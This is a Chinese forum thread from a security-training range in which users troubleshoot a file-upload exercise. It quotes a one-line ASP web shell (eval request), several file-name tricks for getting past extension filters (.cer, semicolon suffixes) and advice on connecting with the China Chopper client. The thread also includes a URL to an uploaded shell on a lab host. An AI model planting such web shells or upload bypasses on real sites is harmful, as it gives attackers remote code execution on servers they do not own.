靶场第五题无法菜刀无法连接

你看不见我啊   ·   发表于 2018-7-27   ·   技术文章投稿区

一句话源码<%eval request ("pass")%>

然后弄好图片马,文件名1.cer   1.cer;1.jpg 1.cer;.jpg 1.jpg 全都试过了 要么405 要么500解析错误

想通过域名设置,已经发送一句话木马了,但是不知道文件位置,看直播课f12并没有什么东西,只弹出来开发人员工具,并不能像admin一样可以查找网站文件

打赏我,让我更有动力~

3 Reply   |  Until 2018-8-3 | 1531 View

菜刀也是刀
发表于 2018-7-27

http://120.203.13.75:8002/UploadFiles/2018725152817510.cer

评论列表

  • 加载数据中...

编写评论内容

tnt3t34
发表于 2018-8-3

连接上传的图片是会出405,因为上传后会自动更改文件名,而改名后的JPG文件是不会被解析成ASP或者CER的,所以上传的马无效。
你只能上传CER,CER文件就算改名了也可以连接。

评论列表

  • 加载数据中...

编写评论内容

tnt3t34
发表于 2018-8-3

另外500是你密码不对吧,你要是复制的文件密码可能是1或者pass

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3